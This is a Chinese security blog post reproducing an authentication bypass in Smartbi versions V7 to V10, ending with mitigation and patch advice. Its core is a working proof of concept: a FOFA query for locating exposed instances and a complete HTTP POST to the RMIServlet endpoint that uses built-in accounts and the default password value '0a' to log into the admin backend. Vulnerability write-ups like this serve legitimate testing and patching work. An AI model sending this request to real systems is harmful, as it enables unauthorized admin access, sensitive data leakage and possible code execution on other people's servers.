探索网络安全新技术
攀登黑客技术最高峰

Smartbi 内置用户登陆绕过漏洞复现

产品说明

Smartbi大数据分析产品融合BI定义的所有阶段,对接各种业务数据库、数据仓库和大数据分析平台,进行加工处理、分析挖掘和可视化展现;满足所有用户的各种数据分析应用需求,如大数据分析、可视化分析、探索式分析、复杂报表、应用分享等等。

漏洞概述

Smartbi在安装时会内置几个用户,在使用特定接口时,可绕过用户身份认证机制获取其身份凭证,随后可使用获取的身份凭证调用后台接口,可能导致敏感信息泄露和代码执行。

影响范围

V7 <= Smartbi <= V10

复现环境

FOFA:app=”SMARTBI”

漏洞复现

验证漏洞是否存在

http://your-ip/smartbi/vision/RMIServlet

Smartbi 内置用户登陆绕过漏洞复现-威武网安

漏洞PoC

POST /smartbi/vision/RMIServlet HTTP/1.1
Host: your-ip
Content-Type: application/x-www-form-urlencoded

className=UserService&methodName=loginFromDB&params=["system","0a"]

Smartbi 内置用户登陆绕过漏洞复现-威武网安

请求体中传入的三个参数

className:必须指定UserService类名methodName:该类调用的方法loginFromDB

params:其中的第一个参数是内置的三个用户名(public、service、system)可随机构造,第二个参数是三个账号默认的密文密码(默认值为0a)

使用Hackbar插件发送post请求绕过登录

Smartbi 内置用户登陆绕过漏洞复现-威武网安

发送请求后,重新刷新页面即可登录后台。

修复建议

临时缓解方案

在确认不影响业务的前提下,删除内置的几个账号(public、service、system)。同时如非必要,不要将Smartbi系统开放在互联网上。

升级修复方案

官方已发布升级补丁包,支持在线升级和离线补丁安装

赞(1) 打赏
版权声明:本文采用知识共享 署名4.0国际许可协议 [BY-NC-SA] 进行授权
文章名称:《Smartbi 内置用户登陆绕过漏洞复现》
文章链接:https://www.wevul.com/1726.html
本站所有内容均来自互联网,只限个人技术研究,禁止商业用途,请下载后24小时内删除。

评论 抢沙发

如果文章对你有帮助 可以打赏一下文章作者

非常感谢你的打赏,我们将继续提供更多优质内容,让我们一起创建更加美好的网络世界!

支付宝扫一扫打赏

微信扫一扫打赏

登录

找回密码

注册